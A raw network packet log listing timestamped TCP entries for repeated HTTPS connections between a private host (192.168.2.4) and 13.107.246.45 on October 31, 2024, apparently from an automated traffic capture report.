Oct 31, 2024 17:27:32.010082960 CET	443	63018	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.010097027 CET	63018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.010126114 CET	63018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.010335922 CET	63018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.010360003 CET	443	63018	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.010374069 CET	63018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.010380030 CET	443	63018	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.013621092 CET	63023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.013669968 CET	443	63023	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.013736010 CET	63023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.013899088 CET	63023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.013916969 CET	443	63023	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.081522942 CET	443	63019	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.082083941 CET	63019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.082119942 CET	443	63019	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.082657099 CET	63019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.082665920 CET	443	63019	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.212923050 CET	443	63019	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.213092089 CET	443	63019	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.213152885 CET	63019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.226140976 CET	63019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.226162910 CET	443	63019	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.269090891 CET	443	63020	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.270826101 CET	63020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.270857096 CET	443	63020	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.271316051 CET	63020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.271322012 CET	443	63020	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.274236917 CET	63024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.274271011 CET	443	63024	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.274347067 CET	63024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.274847031 CET	63024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.274863005 CET	443	63024	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.396331072 CET	443	63020	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.396464109 CET	443	63020	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.396509886 CET	443	63020	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.396538019 CET	63020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.396583080 CET	63020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.396822929 CET	63020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.396837950 CET	443	63020	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.396847963 CET	63020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.396852970 CET	443	63020	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.400784016 CET	63025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.400826931 CET	443	63025	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.400906086 CET	63025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.401068926 CET	63025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.401087046 CET	443	63025	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.487566948 CET	443	63021	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.488193035 CET	63021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.488229036 CET	443	63021	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.488703012 CET	63021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.488709927 CET	443	63021	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.502010107 CET	443	63022	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.502465963 CET	63022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.502480984 CET	443	63022	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.502887011 CET	63022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.502893925 CET	443	63022	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.616672039 CET	443	63021	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.616744041 CET	443	63021	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.616921902 CET	63021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.617234945 CET	63021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.617266893 CET	443	63021	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.617284060 CET	63021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.617292881 CET	443	63021	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.620460987 CET	63026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.620511055 CET	443	63026	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.620599985 CET	63026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.620784998 CET	63026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.620800972 CET	443	63026	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.636085987 CET	443	63022	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.636154890 CET	443	63022	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.636221886 CET	63022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.636240959 CET	443	63022	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.636265039 CET	443	63022	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.636312008 CET	63022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.636501074 CET	63022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.636518002 CET	443	63022	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.636528969 CET	63022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.636533976 CET	443	63022	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.639102936 CET	63027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.639141083 CET	443	63027	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.639216900 CET	63027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.639363050 CET	63027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.639379978 CET	443	63027	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.763618946 CET	443	63023	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.764198065 CET	63023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.764219046 CET	443	63023	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.764708996 CET	63023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.764714003 CET	443	63023	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.897056103 CET	443	63023	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.897119999 CET	443	63023	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.897270918 CET	63023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.897547960 CET	63023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.897572994 CET	443	63023	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.897587061 CET	63023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.897594929 CET	443	63023	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.926677942 CET	63028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.926728964 CET	443	63028	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:32.926795006 CET	63028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.926949024 CET	63028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:32.926965952 CET	443	63028	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:33.018610001 CET	443	63024	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:33.019329071 CET	63024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:33.019365072 CET	443	63024	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:33.019843102 CET	63024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:33.019850969 CET	443	63024	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:33.151773930 CET	443	63024	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:33.151803970 CET	443	63024	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:33.151854992 CET	63024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:33.151863098 CET	443	63024	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:33.151907921 CET	63024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:33.152169943 CET	63024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:33.152192116 CET	443	63024	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:33.152203083 CET	63024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:33.152209044 CET	443	63024	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:33.155462027 CET	63029	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:33.155507088 CET	443	63029	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:33.155581951 CET	63029	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:33.155761957 CET	63029	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:33.155775070 CET	443	63029	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:33.240716934 CET	443	63025	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:33.241388083 CET	63025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:33.241456032 CET	443	63025	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:33.242058039 CET	63025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:33.242074966 CET	443	63025	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.348197937 CET	443	63026	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.348676920 CET	63026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.348705053 CET	443	63026	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.349165916 CET	63026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.349170923 CET	443	63026	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.349858999 CET	443	63025	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.349931002 CET	443	63025	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.349981070 CET	63025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.350110054 CET	63025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.350128889 CET	443	63025	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.350138903 CET	63025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.350145102 CET	443	63025	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.353096008 CET	63030	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.353185892 CET	443	63030	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.353260994 CET	63030	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.353379965 CET	63030	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.353410006 CET	443	63030	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.355144024 CET	443	63027	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.355453968 CET	63027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.355463028 CET	443	63027	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.355844021 CET	63027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.355853081 CET	443	63027	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.478822947 CET	443	63028	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.479438066 CET	63028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.479480982 CET	443	63028	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.479937077 CET	63028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.479953051 CET	443	63028	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.480333090 CET	443	63026	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.480928898 CET	443	63026	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.480974913 CET	443	63026	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.480982065 CET	63026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.481034994 CET	63026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.481089115 CET	63026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.481107950 CET	443	63026	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.481118917 CET	63026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.481126070 CET	443	63026	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.483786106 CET	443	63029	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.483952999 CET	63031	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.483999014 CET	443	63031	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.484016895 CET	443	63027	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.484071016 CET	63031	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.484148979 CET	443	63027	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.484200001 CET	63029	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.484210014 CET	443	63029	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.484209061 CET	63027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.484266996 CET	63031	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.484273911 CET	443	63031	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.484399080 CET	63027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.484416962 CET	443	63027	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.484432936 CET	63027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.484437943 CET	443	63027	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.484719038 CET	63029	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.484724045 CET	443	63029	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.486466885 CET	63032	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.486517906 CET	443	63032	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.486603022 CET	63032	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.486718893 CET	63032	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.486735106 CET	443	63032	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.608221054 CET	443	63028	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.608290911 CET	443	63028	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.608356953 CET	63028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.608552933 CET	63028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.608598948 CET	443	63028	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.608629942 CET	63028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.608644962 CET	443	63028	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.611252069 CET	63033	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.611293077 CET	443	63033	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.611366987 CET	63033	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.611502886 CET	63033	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.611521959 CET	443	63033	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.614665985 CET	443	63029	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.615231991 CET	443	63029	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.615279913 CET	63029	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.615281105 CET	443	63029	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.615328074 CET	63029	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.615377903 CET	63029	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.615390062 CET	443	63029	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.615400076 CET	63029	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.615403891 CET	443	63029	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.617384911 CET	63034	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.617412090 CET	443	63034	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:34.617480993 CET	63034	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.617583036 CET	63034	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:34.617599010 CET	443	63034	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.077770948 CET	443	63030	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.078383923 CET	63030	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.078418970 CET	443	63030	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.078886032 CET	63030	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.078896046 CET	443	63030	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.206887007 CET	443	63030	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.207089901 CET	443	63030	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.207161903 CET	63030	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.207279921 CET	63030	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.207307100 CET	443	63030	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.207334995 CET	63030	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.207343102 CET	443	63030	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.210741043 CET	63035	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.210781097 CET	443	63035	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.210860968 CET	63035	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.211004972 CET	63035	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.211015940 CET	443	63035	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.223277092 CET	443	63031	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.223828077 CET	63031	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.223851919 CET	443	63031	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.224293947 CET	63031	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.224299908 CET	443	63031	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.234674931 CET	443	63032	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.235155106 CET	63032	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.235192060 CET	443	63032	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.235534906 CET	63032	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.235544920 CET	443	63032	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.339556932 CET	443	63034	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.340270042 CET	63034	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.340315104 CET	443	63034	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.340739012 CET	63034	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.340749025 CET	443	63034	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.340872049 CET	443	63033	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.341203928 CET	63033	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.341224909 CET	443	63033	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.341618061 CET	63033	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.341623068 CET	443	63033	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.354693890 CET	443	63031	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.354769945 CET	443	63031	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.354831934 CET	63031	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.355010986 CET	63031	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.355029106 CET	443	63031	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.355038881 CET	63031	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.355043888 CET	443	63031	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.357954979 CET	63036	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.358001947 CET	443	63036	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.358077049 CET	63036	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.358222008 CET	63036	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.358237028 CET	443	63036	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.364214897 CET	443	63032	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.364280939 CET	443	63032	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.364342928 CET	63032	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.364372015 CET	443	63032	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.364394903 CET	443	63032	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.364442110 CET	63032	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.364511967 CET	63032	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.364531994 CET	443	63032	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.364545107 CET	63032	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.364552975 CET	443	63032	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.366779089 CET	63037	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.366817951 CET	443	63037	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.366898060 CET	63037	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.367031097 CET	63037	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.367044926 CET	443	63037	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.466960907 CET	443	63034	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.466991901 CET	443	63034	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.467042923 CET	443	63034	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.467039108 CET	63034	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.467089891 CET	63034	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.467331886 CET	63034	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.467331886 CET	63034	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.467356920 CET	443	63034	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.467370033 CET	443	63034	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.470624924 CET	63038	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.470674038 CET	443	63038	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.470769882 CET	63038	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.470909119 CET	63038	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.470925093 CET	443	63038	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.471679926 CET	443	63033	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.471745014 CET	443	63033	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.471787930 CET	63033	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.471863985 CET	63033	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.471880913 CET	443	63033	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.471890926 CET	63033	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.471896887 CET	443	63033	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.474634886 CET	63039	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.474669933 CET	443	63039	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.474726915 CET	63039	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.474852085 CET	63039	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.474863052 CET	443	63039	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.944338083 CET	443	63035	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.945261002 CET	63035	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.945297003 CET	443	63035	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:35.945874929 CET	63035	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:35.945883989 CET	443	63035	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.071078062 CET	443	63035	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.071238995 CET	443	63035	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.071289062 CET	63035	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.071502924 CET	63035	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.071527958 CET	443	63035	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.071540117 CET	63035	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.071546078 CET	443	63035	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.075823069 CET	63040	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.075865030 CET	443	63040	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.075922966 CET	63040	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.076241970 CET	63040	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.076256037 CET	443	63040	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.087924004 CET	443	63036	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.088462114 CET	63036	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.088495970 CET	443	63036	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.089292049 CET	63036	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.089301109 CET	443	63036	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.110162020 CET	443	63037	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.110826015 CET	63037	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.110846043 CET	443	63037	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.111373901 CET	63037	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.111382008 CET	443	63037	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.203335047 CET	443	63038	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.203355074 CET	443	63039	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.204037905 CET	63039	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.204039097 CET	63038	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.204070091 CET	443	63038	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.204075098 CET	443	63039	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.204523087 CET	63038	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.204531908 CET	443	63038	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.204550028 CET	63039	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.204556942 CET	443	63039	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.218122959 CET	443	63036	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.218250036 CET	443	63036	13.107.246.45	192.168.2.4
Oct 31, 2024 17:27:36.218317032 CET	63036	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.218492985 CET	63036	443	192.168.2.4	13.107.246.45
Oct 31, 2024 17:27:36.218518019 CET	443	63036	13.107.246.45	192.168.2.4
